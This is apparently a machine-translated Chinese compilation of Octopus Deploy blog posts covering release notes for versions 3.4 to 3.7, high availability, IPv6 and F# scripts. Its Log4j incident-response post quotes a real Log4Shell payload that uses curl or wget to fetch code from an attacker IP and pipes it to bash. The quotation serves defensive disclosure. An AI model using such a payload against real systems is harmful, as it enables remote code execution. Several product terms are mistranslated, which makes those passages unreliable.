**订阅 Azure？**你可以使用我们在 Azure Marketplace 新发布的模板，使用你自己的 Azure 订阅来建立一个完整的 Octopus 设置。这将在虚拟机上安装最新稳定版本的 Octopus 服务器，但是您可以使用远程桌面将 Octopus 服务器升级到 EAP 版本。最后，完成后，您可以轻松地删除整个资源组！
想自己装？
Octopus Deploy 附带 45 天的企业试用许可。下载 Octopus 3.4 Beta 1 版本，浏览发行说明。我们将支持从这些测试版升级到正式版的 Octopus 3.4，但不支持降级到以前的 Octopus 版本。如果你想升级现有的 Octopus 服务器，不要忘记备份和测试你的数据库。否则，我们建议安装在试用服务器上。
您的反馈确实很重要
请在我们的论坛发表反馈并加入讨论。
来吧，参与进来，帮助我们构建迄今为止最好的 Octopus 部署。部署愉快！
八达通部署 3.4 EAP - Beta 2 -八达通部署
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
我们很自豪地宣布章鱼部署 3.4 测试版 2 的发布。除了一些小的改进和错误修复，我们认为这个版本的功能是完整的。还有时间参与 Octopus Deploy 3.4 的早期访问计划(EAP) 和让我们知道你的想法！
关注我们的微博系列了解章鱼 3.4 的所有伟大特性！
Octopus Deploy 3.4 Beta 2 有什么新功能？
在这个版本中，我们一直在 3.4 Beta 1 的基础上进行构建，对现有功能进行了改进，并完成了对 NuGet 3 的升级，增加了对 SemVer 2 和 F#自定义脚本的支持。我们还完成了关于octo.exe和团队城市和 VSTS 扩展的工作，这样你就可以将 3.4 Beta 2 完全集成到你现有的构建管道中，包括所有新的 Octopus 3.4 特性。
你可以在我们的 GitHub 资源库中看到 3.4 Beta 2 中修复了哪些 bug，也可以随意看看大家一直在发帖的反馈！此外，请查看我们的章鱼 3.4 博客系列以深入了解新功能和构建该版本的决策。
多租户部署有什么新特性？
除了小的改进和错误修复，我们已经完成了 Octopus Deploy 3.4.0 的多租户部署工作。请放心，我们将在未来几周和几个月内继续努力改进。
显著的变化和改进:
- 您现在可以通过名称和标签搜索租户
- global dashboard 已更新，纠正了我们在显示您的项目/环境的租赁部署时犯的一些错误
- 多租户项目概述得到了改进，包括:
- 改进的过滤
- 通过标签集进行分组的能力
- 能够部署到租户组，甚至特定环境中的所有租户
- 现在更容易理解哪些租户连接到了哪些环境
- 我们改变了计算租户部署中包括哪些部署目标和帐户的方式，这将使设计租赁和非租赁托管场景变得更加容易:
- 租用的部署使用租用的部署目标和帐户(带有某种类型的租户过滤器)。
- 未租用的部署使用未租用的部署目标和帐户(没有任何类型的租户过滤器)。
- 我们还更新了所有的工具和集成，以便与租户合作- 看看，看看你能做些什么
开始多租户部署的最佳地方是我们的指南。
弹性和瞬态环境中的新特性？
除了小的改进和错误修复，我们已经完成了 Octopus 3.4.0 的弹性和瞬态环境支持工作。
显著的变化和改进:
- 我们修复了一个错误,在手动部署后项目触发器会意外触发
- 我们使得在没有任何现有部署的情况下对全新的环境使用自动部署成为可能，这使您能够即时创建测试环境。这对于使用不可变的基础设施(将服务器视为“牛而不是宠物”)和测试特性分支非常有用。你可以在我们关于不可变基础设施的指南中读到更多。
- 我们还更新了所有的工具和集成来处理弹性和瞬态环境- 看看看看你能做什么
从弹性和瞬态环境支持开始的最佳地方是我们的指南。
F#脚本支持
除了我们其他支持的脚本语言之外，你现在可以用 F# ( *.fsx)编写定制脚本。请看这个 GitHub 问题并且看一些例子，看看作为你的部署的一部分，你可以用 F#脚本做什么。
NuGet v3
我们已经替换了对 NuGet 的依赖。通过全面升级到 NuGet 3，这意味着我们已经能够关闭一些长期的 bug，并支持外部 NuGet v3 提要！更多信息见本 GitHub 问题。
永远见 2
您现在可以在发行版和软件包中使用 SemVer 2 版本了！这将使得在构建和部署管道中使用 SemVer 2 变得更加容易，尤其是使用像 GitVersion 这样的工具。
更新的工具和集成
我们已经更新了Octopus.Tentacle.exe、Octopus.Client SDK、octo.exe以及 TeamCity 和 VSTS 扩展。将这些更新的工具与 Octopus Server 3.4 结合使用，您现在可以:
- 使用
Octopus.Tentacle.exe和自动注册触手: - 使用
octo.exe和构建服务器扩展来执行租用部署 - 使用
Octopus.ClientSDK 自动化 Octopus 3.4 中的任何事情
我们将在接下来的几周内更新文档。同时，您可以使用工具提供的帮助，或者联系我们寻求支持或提供反馈。
将代理配置移至环境
在 Beta 2 中，我们将监听触角的代理配置移到了环境区域。在 Beta 1 中，您需要授予用户系统管理员权限，以便他们可以管理触手代理配置。现在用户可以在被授予通常的Proxy*权限后管理触手代理配置。
重大变更和废弃通知
反对 Azure 部署目标
我们开始反对支持 Azure 云服务和 Azure Web App 部署目标。
别担心，在 Octopus 3.4 中，你可以查看和编辑现有的 Azure 部署目标，并开始迁移它们以使用 Azure 云服务和 Azure Web App 部署步骤和云区域。
在 Octopus Deploy 的未来版本中，我们将停止对 Azure 云服务和 Azure Web App 部署目标的支持。
运行状况检查结果的更改
我们为弹性和瞬态环境引入了一个新的属性MachineResource.HealthStatus，它可以是Healthy、HealthyWithWarnings、Unhealthy和Unavailable。在 Octopus 3.4 中，你可以继续使用现有的MachineResource.Status，它可以是Online或Offline，但是我们已经将Status属性标记为Obsolete，并将在未来的版本中删除它。
触手已被修补，以配合章鱼 3.4
如果你使用的是旧版本的触手，用 Octopus 3.4 注册一个全新的触手会失败。发生这种情况是因为老触手不理解云区域并且不能反序列化它们。我们已经修补了触手，以便在未来更能适应这种变化。
注意:这个问题只影响向你的章鱼服务器注册新的触角。现有的触手将继续正常工作。
- 注册 3.0.x 触须(用于老年人。NET 4.0-only 服务器):请下载触手 3.0.26 已经打了补丁，可以和 Octopus 3.4 一起工作。
- 注册新版本的触手:请开始使用 a 3.4.x 触手版本(我们推荐最新的)。
对内置存储库错误代码的更改
当您将一个重复的包推送到内置的包仓库时，我们现在将用 HTTP 状态码409 Conflict而不是400 Bad Request来响应。像nuget.exe这样的客户端只会显示 HTTP 状态代码，丢弃 Octopus 返回的原因，解释为什么这是一个错误的请求。在这种情况下使用409 Conflict会使诊断更容易。更多信息请参考GitHub 问题。
在我们发布 Octopus 3.4 之前还需要做些什么？
除了与我们出色的 Octopus 社区合作提供反馈，我们还需要:
- 继续充实我们的指南，帮助您充分利用这些新功能。
- 使用 API 为租户迁移到 Octopus 3.4 提供指导。
- 进一步提高具有数百个租户、环境和部署目标的大型安装的性能。
Octopus Deploy 3.4 Beta 2 入门
使用来宾帐户在我们的 3.4 Beta 2 演示服务器上试用，或者联系我们的支持团队以获得提升的凭证。
**订阅 Azure？**你可以使用我们在 Azure Marketplace 新发布的模板，使用你自己的 Azure 订阅来建立一个完整的 Octopus 设置。这将在虚拟机上安装最新稳定版本的 Octopus 服务器，但是您可以使用远程桌面将 Octopus 服务器升级到 EAP 版本。最后，完成后，您可以轻松地删除整个资源组！
想自己装？
Octopus Deploy 附带 45 天的企业试用许可。下载 Octopus 3.4 Beta 2 版本，浏览发行说明。我们将支持从这些测试版升级到正式版的 Octopus 3.4，但不支持降级到以前的 Octopus 版本。如果你想升级现有的 Octopus 服务器，不要忘记备份和测试你的数据库。否则，我们建议安装在试用服务器上。
您的反馈确实很重要
请在我们的论坛发表反馈并加入讨论。
来吧，参与进来，帮助我们构建迄今为止最好的 Octopus 部署。部署愉快！
八达通部署 3.4 EAP -八达通部署
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
我们自豪地宣布 Octopus Deploy 3.4 的早期访问计划(EAP) ！这个功能发布是雄心勃勃的，我们想让你早点拿到它，而不是等着发布一个接近成熟的预发布版本。现在绝对是参与的最佳时机，让我们知道你的想法！
Octopus Deploy 3.4 出货后会是什么样子？
我们的目标是 Octopus Deploy 3.4 完整版的两个主要特性:
阿尔法 1 号的盒子里是什么？
我们希望发布整个拼图中有针对性的工作片段，这样您就可以一次从一个概念开始工作，想象每个片段将如何开始组合成一个完整的整体，然后用您的反馈来回应我们。
Alpha 1 中的多租户部署
在 Alpha 1 中，您可以:
- 开始使用租户和租户标签
- 将租户链接到项目，并为这些项目选择环境。这将允许您配置为每个租户部署哪些项目，以及部署到哪个(哪些)环境中——为复杂场景提供最大的灵活性。
- 为管理租户应用新的安全权限
- 查看为租户创建的新审核事件
- 通过 Octopus API 和客户端库完成所有这些工作！
Alpha 1 中改进的弹性环境和瞬态机器支持
我们正在测试机器策略的概念，它可以控制机器生命周期的某些方面:
- 当计算机联机时(首次联机或从脱机状态恢复时)要做什么
- 自定义运行状况检查脚本(从我们今天的基线/默认操作开始)
- 当计算机在部署开始时离线或在部署过程中离线时该怎么办
- 当机器离线时间过长时该怎么办
在 Alpha 1 中，您可以:
- 在库中构建机器策略
- 自动删除脱机时间过长的计算机
- 跳过在部署开始时脱机或在部署期间脱机的计算机
- 对环境中的每台机器应用机器策略
- 为管理机器策略应用新的安全权限
- 查看由计算机策略创建的新审核事件
- 通过 Octopus API 和客户端库完成所有这些工作！
Octopus Deploy Alpha 1 入门
我们的 EAP 附带 45 天的企业试用许可。下载最新的 EAP 版本，浏览发行说明。由于还处于开发的早期阶段，我们不支持从 EAP 版本升级。我们建议在试用服务器上安装 EAP 版本。
你的反馈真的很重要
请在我们的论坛发表反馈并加入讨论。我们特别希望收到以下方面的反馈:
- 租户到项目/环境的明确映射在多大程度上符合您的情况？
- 机器策略中可用的设置组合是否有助于针对您的情况减少摩擦？
来吧，参与进来，帮助我们构建迄今为止最好的 Octopus 部署。愉快的部署！
Octopus Deploy 3.5:订阅、Azure 广告、GoogleApps 和扩展性
虽然多租户部署和弹性和瞬态环境一直是我们最近在 Octopus 的一大焦点，但在身份验证领域也发生了一些令人兴奋的事情，我们称之为订阅的新功能可以帮助您订阅活动，并在 Octopus 内发生事情时通过电子邮件或 webhooks 获得通知。
我们删除了 Octopus 3.5.0 的下载链接，因为我们发布了一些错误，导致一些客户无法登录 Octopus 门户网站。请下载最新版本并使用它！
捐款
当我们引入项目触发器，特别是自动部署触发器时，Octopus 在自动化领域迈出了另一大步。我们需要解决的一个问题是通知。
如果不登录 Octopus 并查看我的仪表盘，我如何知道我的自动部署(在凌晨 2 点我睡着时触发)实际上是成功还是失败？
介绍 Octopus Subscriptions ，这是一项新功能，允许您订阅 Octopus 中正在发生的事件。
你现在可以设置电子邮件或网页挂钩订阅，随时了解 Octopus 内发生的任何事件。一些明显的例子包括:
但是这还不是全部！您可能只想通过电子邮件收到与您团队环境相关的所有事件的摘要。或者，您可能想知道 Octopus 何时检测到您的机器离线或健康状况发生变化。您甚至可以使用 webhook 订阅来构建您自己的对 Octopus Deploy 中事件的自动响应。
Octopus Deploy 3.5 中的订阅服务完全由您想象:)
OpenID 连接身份验证提供程序
到目前为止，Octopus 服务器有两种认证模式。一种是 it 自己处理身份管理，另一种是遵从 Active Directory。在 3.5 版中，我们增加了对两个 OpenID Connect 提供商的现成支持，即 Azure AD 和 GoogleApps 。
Octopus 身份验证的更新已经在雷达上出现了一段时间，我们收到了许多客户添加 Azure AD 和/或联合身份支持的请求。在 Octopus，我们使用 GoogleApps 进行身份管理，因此我们支持这两个提供商是有意义的。
了解更多关于我们的 Azure AD 和 GoogleApps 支持。
多个身份验证提供者
除了支持 OpenID Connect 身份验证提供者，我们现在还支持同时启用多个身份验证提供者。也就是说，你可以启用 Azure AD、GoogleApps 和 UsernamePassword 提供程序。为了支持这一点，configure 命令中添加了一些新选项。
了解配置认证提供者。
自动登录
当我们在这个领域时，另一个被请求的功能是启用自动用户登录的能力。这适用于只使用一个身份验证提供者的场景，并且不需要在 Octopus Deploy UI 中直接输入用户名/密码。即当表单验证被禁用时，OpenID 连接提供者或活动目录(域)提供者。
了解自动登录。
Octopus HA 集群范围设置和 server.config
我们存储在 server.config XML 文件中的几个设置在过去曾在 Octopus HA 中引起过小问题，当时不同的节点无意中配置了冲突的设置。鉴于身份验证设置是原因之一，并且我们现在希望添加更多的身份验证设置，我们决定将它们移动到数据库中。
这些数据的迁移应该是完全透明的。升级到 3.5 后，当服务器重新启动时，它会自动发生。
对于那些直接对 server.config XML 文件使用配置管理工具(如 Chef、Puppet 或 Desired State Configuration (DSC ))的人来说，如果您依赖于我们移动的值，这将是一个突破性的变化。
我们希望今后对配置管理的更好支持将会抵消由此带来的任何不便。为此，我们向服务器添加了一个新的show-configuration命令。
此命令可用于将 XML(与旧的 server.config 兼容)导出到控制台或指定文件。还有两种支持导出的 JSON 格式，这使得在 PowerShell 和 Node.js 这样的语言中使用输出更好。
了解显示配置命令。
Octopus 部署服务器可扩展性
事实证明，以一种在用户拥有的无数不同配置中都能很好工作的方式与 Active Directory 集成真的很难。将集成牢牢嵌入 Octopus 服务器也给我们和我们的用户带来了故障排除的困难，而且定制也是不可能的——直到现在！
我们已经改变了这一点，我们很高兴地宣布，章鱼部署服务器现在是可扩展的！
所有的 Active Directory 集成代码都被转移到一个扩展中，我们将提供开箱即用，但将保持开源。因此，如果您需要一个定制的实现来更好地适应您的环境，现在这一途径将变得简单。该项目可在 Github 上获得
Azure AD 和 GoogleApps 的集成也是作为扩展构建的，并将是开源的。这两个项目由 Github 上的一个 OpenID Connect 相关项目管理
我们很想知道这些新特性如何帮助您的部署场景，并期待您的反馈。
愉快的部署！
Octopus Deploy 3.6:项目触发增强- Octopus Deploy
Octopus Deploy 3.6 来了！好像昨天才发布了 3.5。对于长期的章鱼粉丝来说，两个小版本如此接近可能会感到惊讶；我们正在尝试一种新的版本管理方法。
版本控制策略
我们在 Octopus 上的目标是在漏洞修复和特性准备好的时候尽快部署它们。我们相信，当我们编写的代码在您的手中时是最有价值的，在您的手中，功能会使您的生活更轻松，并且错误是短暂的。
传统上，我们以补丁版本(例如 3.2.1、3.2.2、3.2.3)的形式发布错误修复和小功能，以小版本(例如 3.1、3.2、3.3)的形式发布大功能，通常将一系列功能捆绑到同一个小版本中。从今天开始，我们尝试在一个特性准备好(而不是捆绑)或者从以前的版本升级可能会引起摩擦的时候发布一个次要版本。
在今天的版本 3.6 中，我们增加了次要版本，因为从 3.5.x 升级可能会引起摩擦。我们想确保你可以闭着眼睛应用补丁发布:这将是顺利的，无痛的，一切将继续像以前一样工作。你可以在不同的补丁之间切换，所以如果你遇到一个你不喜欢的补丁，你可以回滚到之前的版本。
较小的版本增量意味着您可能需要更加关注升级，并且您将只能前滚。在今天的版本中，有一个影响项目触发器的模式更改，其中包括一个将 3.5 版项目触发器转换为 3.6 版项目触发器的升级脚本。唯一的恢复方法是恢复数据库备份！
项目触发变更
事件过滤器
在 Octopus Deploy 3.4 中，项目触发器可以配置为基于两个事件自动部署:
- 新的部署目标变得可用
- 现有部署目标改变状态
我们听到的反馈是，这两个事件的含义并不完全清楚。在 Octopus Deploy 3.6 中，您可以选择任何与机器相关的事件来导致自动部署(又名。项目触发器)来激发。我们还提供了一个方便的事件分组机制(如订阅中所介绍的)来选择预定义的事件组:
可以在项目触发器过滤器中选择的事件精确映射到在配置>审计屏幕上显示的事件，以使项目触发器的设计和故障排除更加容易。选择任何机器事件的能力也为配置一些有趣的项目触发器打开了大门。例如:试图修复变得不健康的机器。
机器选择逻辑
“自动部署很难！”
自动部署功能最初是一个神奇的复选框，可以让计算机保持最新版本。我们很快意识到将正确的版本发布到正确的机器上是很困难的。在尝试确定“新部署目标是否可用”或“现有部署目标是否改变状态”时，我们执行了一些复杂的计算，对于相同的事件序列，这些计算有时会产生自动部署，有时不会。在 3.6 中，我们已经摆脱了复杂性。相反，当某个事件与为项目触发器选择的筛选器相匹配时，该项目触发器将被触发。
3.6 将更新任何现有项目触发器上的事件过滤器。“新部署目标变得可用”将被转换为在“计算机已创建”事件上执行，而“现有部署目标更改状态”将在“计算机变得可用于部署”事件组上执行。
下一步是什么？
我们希望你喜欢 3.6，并发现项目触发器有更多的深度和可预测性。我们预计将通过开放事件选择来扩展项目触发器，以包括更多的事件，并通过提供更多可以作为触发器触发的结果来执行的动作。例如，您可以将项目触发器配置为“在每次成功部署项目 A 之后自动部署项目 B”或者“在推出一个包时创建并部署一个发布到测试环境中”。
Octopus Deploy 3.7:轻松步骤模板- Octopus Deploy
原文：https://octopus.com/blog/octopus-deploy-3.7-effortless-step-templates
TL；速度三角形定位法(dead reckoning)
Octopus Deploy 的新版本更上一层楼，它改进了添加步骤模板的 UI，提供了从项目部署过程直接访问社区步骤模板的功能，并改进了库中步骤模板的管理。
向部署流程添加步骤模板
如果您有许多步骤模板，那么您就会理解旧的添加步骤模式的局限性。用于添加步骤模板的新 UI 现在有足够的空间来显示 Octopus 内置步骤模板、自定义步骤模板和社区库中的步骤模板。为了帮助浏览 200 多个社区步骤模板，有一个快速搜索工具。
更多信息，参见添加步骤文档。
3.7 中引入的另一个特性是社区库集成。这种集成允许用户直接从项目的部署过程中安装和添加社区步骤模板，并从步骤模板库中管理更新。
社区库是共享 step 模板的好方法，可以节省大量的工作时间。社区步骤模板可以是自定义步骤模板的起点，因为它们可以保存为副本并进行编辑。或者它们可以按原样使用，并从作者那里接收更新。请记住，如果社区步骤模板保存为自定义步骤模板，它将不再接收作者的更新。
默认情况下，社区库功能是打开的，可以禁用。如果禁用，用户将无法利用 step 模板更新或受益于 200 多个社区 step 模板。库每天自动同步，如果失败，任务日志中会有一个摘要，可以手动同步。
如果您想访问社区步骤模板并利用更新，但该功能被禁用，请与您的 Octopus 管理员聊天。或者，社区库仍然在线可用，step 模板可以导入 Octopus。
有关更多信息，请参见社区步骤模板集成文档。
A note to BlueFin users upgrading to Octopus 3.7
因为社区库现在已经集成到 Octopus Deploy 中，所以 BlueFin 用户需要禁用
Integrated library step template importer
特色。
步骤模板库
步骤模板库 UI 进行了一些更新，以改进步骤模板管理。在这里，您可以创建自定义步骤模板并上传您自己的徽标，安装社区步骤模板并运行步骤。
当您更新到 3.7 时，Octopus 将检查现有步骤模板的匹配参数，并将步骤链接到社区步骤模板。这将允许您访问更新。所以我们不会破坏任何东西，只有当所有东西都匹配时，才会创建一个链接。这个规则在 Octopus 3.7.2 中略有放宽。成功链接的步骤模板将出现在社区步骤模板列中。
更多信息，参见步骤模板文档。
我们最初提到的这个版本将包含一个特性，将步骤和动作更新到它们所基于的步骤模板的最新版本。不幸的是，有一个错误可能会破坏部署，我们认为最好不要发布它，直到我们有一个可靠的解决方案。该功能将在不久的将来得到修复和发布。更多信息请见我们的 GitHub 问题。
运行步骤模板
如果您曾经想测试一个步骤模板或运行一个可重用的脚本，现在您可以了！库中新的运行功能允许用户提供参数，并在独立于项目部署过程的情况下运行脚本步骤模板。此功能仅适用于管理员用户，并且有一些限制，因此请阅读运行步骤模板文档。
下载 Octopus Deploy 的最新版本，让我们知道你的想法。我们希望您和我们一样喜欢新的添加步骤模板体验。
愉快的部署！
八达通部署高可用性-八达通部署
原文：https://octopus.com/blog/octopus-deploy-high-availability
在不久的将来(3.0 以后)，我们将发布一个高可用性版本的 Octopus Deploy。我们的客户使用我们的产品为数百名开发人员在数百台机器上自动部署应用程序。对于这些客户来说，Octopus Deploy 是他们开发基础设施的一个关键部分，停机时间会产生巨大的成本。
目前，对于 Octopus Deploy 的架构，我们没有一个好的高可用性方案。默认情况下，我们提供了一个嵌入式 RavenDB，并且在文件系统上有很多消息持久性的依赖项。我们确实支持迁移到外部 RavenDB 集群，但是我们的网络和消息堆栈意味着拥有多个 Octopus 服务器是行不通的。
在 3.0 中，我们对 SQL Server 的支持意味着我们可以支持 SQL Server 群集。对于许多已经在集群环境中拥有 SQL Server 基础设施和支持的人来说，这是一个好消息。然而，我们正在做额外的工作，使 Octopus 部署服务器集群意识到它的通信和任务管理。
在高可用性场景中，我们有各种不同的拓扑支持请求，所以在这篇文章中，我将讨论我们计划支持和不支持什么，以及我们将来可能支持什么。
所以现在开始。
我们想要支持的主要场景是一个高可用性和负载平衡的配置，在一个负载平衡器后面有一个 SQL Server 集群和多个 Octopus 服务器。
这将为您提供 Octopus 服务器级别的容错能力，负载均衡器健康检查将检测出故障的机器，所有流量将被路由到其他节点。SQL Server 可用性将通过 SQL Server 和 Windows 群集服务来处理。
您会注意到，除了 SQL Server 基础设施，Octopus 还需要一个用于包、工件和日志文件的文件共享。
对我们来说没有意义的场景。
我们有一些客户希望将数据中心分开，或者出于安全原因将他们的生产和开发环境分开，或者有多个区域并希望节省带宽或延迟。
我们认为实现这一点的最易管理的方法是通过 Octopus 到触手的通信，必要时通过 VPN 路由。这个场景是安全的(所谓安全，我的意思是任何系统都是安全的，因为它是最薄弱的环节，我们用于触手通信的 TLS 安全性在几乎所有场景中都不是最薄弱的环节)，并且从延迟的角度来看性能良好。
对于在不同地区拥有多个数据中心的客户，他们关心大型 Nuget 包到多个 tentacle 的数据传输，我们建议将您的 Nuget 服务器复制或代理到每个地区，并通过 DNS 别名让 tentacle 从地理上本地的包存储库中获取包。或者，比这更简单的解决方案是拥有两个独立但相同的 Nuget 存储库，并将提要 ID 作为变量。
我们不打算支持的一些请求配置有:
在这种情况下，不同数据中心的 Octopus 服务器共享一个公共数据库和文件共享。
独立的 Octopus 服务器和环境，具有复制的本地 SQL 服务器和文件共享。
这两者都无法正常工作，因为每个 Octopus Deploy 服务器都无法看到远程环境中的触角，这意味着健康检查和部署任务将会失败。此外，我们认为，远程 SQL Server 通信和复制或共享文件系统的延迟将导致性能不如这些环境中 Octopus 到触手通信的性能。这些配置也不能满足客户对环境间可见性的任何安全顾虑。
一些替代解决方案
虽然不是严格意义上的高可用性解决方案，但对于那些真正希望拥有隔离环境的客户，我们确实有两个可能适合他们的选项。
迁移工具
对于 3.0，我们需要构建一种将 2.6 版本的 RavenDB 数据库迁移到 3.0 版本的方法。最初的数据库工具正在转变为通用的 Octopus 部署迁移和数据复制功能。这样就有可能将项目配置和发布转移到上游的 Octopus 服务器。
中继触角
这不是我们现在拥有的，但在 3.1 或 3.2 中可能会出现。触手的概念，它可以充当专用网络上其他触手的中继、网关或代理。
它看起来会像这样:
当您将一台机器添加到一个环境中时，您将能够指定 Octopus 服务器如何路由到它，并且任何任务(部署和健康检查)都将通过这个中继进行。
一些结束语
Octopus Deploy 高可用性并非适用于所有版本。这是我们将作为新的许可层级和价位发布和销售的产品。为了确保我们可以在这个版本上支持客户，我们很可能会提供一些咨询和解决方案架构，以确保它在受支持的配置中运行，从而向我们和我们的客户保证他们的 Octopus Deploy 基础架构保持高度可用。
为 IPv6 配置 Octopus 部署- Octopus 部署
虽然以前在技术上可以通过比目鱼设置你的触手使用 IPv6 协议，但这需要在触手上手动配置，因此需要知道它和服务器之间使用的是哪种特定协议。此外，只有主机名有效，无法为目标配置提供特定的 IPv6 地址。随着3.1.7中引入的变化，您的 Octopus Deploy 实例现在可以进入未来，闭着眼睛就可以开始使用 IPv6。如果您的 IOT(触须互联网)设置有耗尽内部 IPv4 地址的风险，那么您不必再担心了。
IPv4/IPv6 双模上的触角
默认情况下，Octopus Deploy 服务器和 Tentacles 现在都将使用 sockets 的双模式功能监听地址。Net 4.5 。侦听触手(以及使用轮询模式时的服务器)将同时侦听 IPv4 和 IPv6 地址，但是为了简单起见，两种协议使用相同的端口。这意味着您可以根据地址为任一协议设置您的目标，它将“正常工作”。如果您在触手配置中提供其 FQDN(完全合格的域名),部署时解析的地址仍将由网络堆栈在内部确定。因此，有时在您的日志中看到您的 IPv4 地址用 IPv6 符号表示，如[::ffff:127.0.0.1]，您应该不会感到太惊讶。
请记住，当在 URI 中指定 IPv6 地址时，规范要求将地址括在方括号中。因此，如果你的目标地址是fe80::c0d3:531b:f0cf:f567，那么被发现的地址将是[fe80::c0d3:531b:f0cf:f567]，而完整的触手 URL 将会沿着https://[fe80::c0d3:531b:f0cf:f567]:10933/的路线
您还可以在浏览器中直接引用您的触手的 IPv6 地址来测试连通性，就像您使用普通的 IPv4 地址或主机名一样。
如果您的触须似乎是用其 IPv4 地址而不是 IPv6 地址重新连接，记得也检查您的网络适配器在其设置中启用了此功能。
由于 Halibut 通信框架用于轮询和侦听触角，IPv6 连接细节也适用于轮询触角被配置为连接到特定 Octopus 服务器的场景。当设置轮询触手时，您现在可以指定一个 IPv6 地址来连接到服务器，只要该地址用方括号括起来，并且网络配置为允许 IPv6 连接。也就是说，如果您提供主机名，网络堆栈将为您决定使用哪个协议。最终最简单的事情是让你的 DNS 做它的工作；使用主机名，不要触摸任何东西，正确的协议将在必要时使用。
将触手独占绑定到 IPv4
如果出于某种原因，你希望强制触手只监听 IPv4 地址，这可以通过利用内置的configure命令来设置。
Tentacle.exe configure --listenIpAddress 0.0.0.0
此配置可以通过调用
Tentacle.exe configure --listenIpAddress any
进一步的问题
如果您担心您的基础设施不支持 IPv6，请不要担心。虽然默认情况下，Octopus 现在将通过任一协议进行通信，但如果您的目标使用主机名或 IPv4 地址进行配置，它们将悄悄地退回到仅侦听 IPv4，而不需要任何额外的配置。我们关于触手故障排除的文档页面也提供了一些其他有用的提示和资源，帮助你与触手对话。
Octopus Deploy 对 Log4j 的回应- Octopus Deploy
2021 年 12 月 9 日，星期四，Octopus Deploy 获悉 Log4j 日志记录实用程序( CVE-2021-44228 )中存在漏洞。我们立即制定了安全事件响应计划，以调查我们对该实用程序的使用及其对我们的产品和基础架构的影响。
幸运的是，章鱼云、章鱼服务器、章鱼触手不受影响。但是，有一些相关产品受到影响，需要更新。
在本帖中，我们分享了我们的调查结果以及我们为客户推荐的后续步骤。
用于 Octopus 部署的 JetBrains 团队城市插件
JetBrains TeamCity 插件的 6.1.7 版本使用 Log4j 的 2.15.0 版本。但是，6.1.7 之前的所有插件版本都使用 Log4j 的 2.14.1 版本，因此可能容易受到远程代码执行的攻击。
你需要做什么
TeamCity 的 Octopus Deploy 插件版本 6.1.7 可从市场上获得。如果您是 TeamCity 用户，您应该会通过 Web 用户界面得到此更新的通知，我们强烈建议您安装此更新。
关注我们的安全顾问获取更新。
Octopus Java SDK
Java SDK 的 0.0.3 版使用 Log4j 的 2.15.0 版。但是，0.0.3 之前的所有 Java SDK 版本都使用 Log4j 的 2.14.1 版本，因此容易受到远程代码执行的攻击。
你需要做什么
我们建议使用 Octopus Java SDK 的客户将其 SDK 版本更新到 0.0.3。
关注我们的安全顾问获取更新。
章鱼云、章鱼服务器和章鱼触手
章鱼云、章鱼服务器、章鱼触手不受此漏洞影响。它们是用。NET 框架，不要使用 Log4j 的任何移植版本。
所有产品的明细
| 产品 | 使用了易受攻击的 Log4j 版本 | 易受攻击的产品版本 | 修补的产品版本 |
|---|---|---|---|
| Azure Devops & TFS 扩展 | 不 | 不适用的 | 不适用的 |
| 竹子附加物 | 不 | 不适用的 | 不适用的 |
| Java SDK | 是 | ⇐ 0.0.2 | 0.0.3 |
| Jenkins 插件 | 不 | 不适用的 | 不适用的 |
| Octopus CLI | 不 | 不适用的 | 不适用的 |
| 章鱼云 | 不 | 不适用的 | 不适用的 |
| 章鱼服务器 | 不 | 不适用的 | 不适用的 |
| 章鱼触手 | 不 | 不适用的 | 不适用的 |
| TeamCity Plugin | Yes | ⇐ 6.1.5 | 6.1.7 |
Octopus 部署受到威胁了吗？
我们的内部基础设施运行使用易受攻击的 Log4j 版本的产品。然而，在 12 月 9 日星期四的最初公告后，我们投入了大量时间，我们相信 Octopus Deploy 没有受到影响。
当我们的工程团队努力更新受影响的产品时，我们的安全运营团队分析了我们的系统，以确定它们是否被利用了。接下来的部分将进一步深入我们的方法。
审查我们的内部基础设施
我们内部基础设施的绝大部分是作为代码基础设施(IaC)来维护的。这使我们能够轻松识别潜在的易受攻击系统，并以最少的干预将更新推送到这些系统。
当我们无法确定系统是否易受攻击时，我们使用已知概念证明(PoC)来测试系统是否易受攻击。这意味着我们可以更好地减轻特定系统。
查看网络流量
我们在整个基础架构中维护大量网络数据，这使我们能够识别可能导致基础架构被利用的可疑网络行为。在审查网络数据时，我们发现了以下问题:
- 可疑活动-我们发现了进入我们系统的可疑入站网络流量，包括源 IP。然而，我们没有发现任何令人放心的恶意出站流量。
- 确定目标系统-在分析网络数据时，我们确定了被攻击的特定系统。我们对这些系统采取了额外的控制和缓解措施，以降低被利用的风险。
下面是一个用户代理字符串，它被发送到我们的一个服务器上(经过解码和编辑):
${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/(curl -s 45.155.205.233:5874/XXX.XXX.XXX.XXX:443||wget -q -O- 45.155.205.233:5874/XXX.XXX.XXX.XXX:443)|bash}
审查终点
使用来自网络数据的信息，我们审查了我们知道已经成为攻击目标的特定终端，并确认它们没有受到威胁。
通过在我们的终端上使用 EDR 解决方案，我们还密切监控终端的危害或潜在利用迹象。这些数据(以及其他数据集)被输入到我们的 SIEM(安全事件和事件管理)系统中，因此我们可以获得近乎实时的警报，并做出相应的响应。
使用所有这些方法来调查我们的基础设施，我们没有发现任何妥协的证据。
结论
我们将继续跟踪与此漏洞相关的更新。如果我们的客户或产品存在任何风险，我们将提供进一步的更新。
如果您有任何问题，请通过support@octopus.com联系。
F# | >章鱼部署爱-章鱼部署
这篇文章是我们 Octopus 3.4 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
即将发布的 Octopus 3.4 将包括 F# 4.0 支持，这意味着自定义和独立脚本(*。fsx)可以写在里面。
我如何开始？
- 创建新项目
- 添加一个名为 MyVariableName 的变量,并将其值设置为 World
- 增加一个“运行脚本”步骤
- 键入您的 F#脚本。F#对空白敏感，所以缩进很重要。您可以从这里复制并粘贴一个示例脚本。
- 创建一个新版本并部署它
- 单击任务日志，您应该会看到以下输出:
为什么是 F#？
我们已经支持 Bash、PowerShell 和 ScriptCS，所以你可能想知道为什么我们需要另一种语言。首先，因为是你要求的，而且你要求了好几次。:)其次，Octopus 支持的每种语言都提供不同的功能:
在我们看来，选择越多越好，因为这有助于您找到适合工作的工具。
我想多学一点
如果你以前没有使用过 F#并且想了解更多，那么看看由 F#基金会和 Scott Wlaschin 的网站提供的资源。他是一位伟大的教育家。
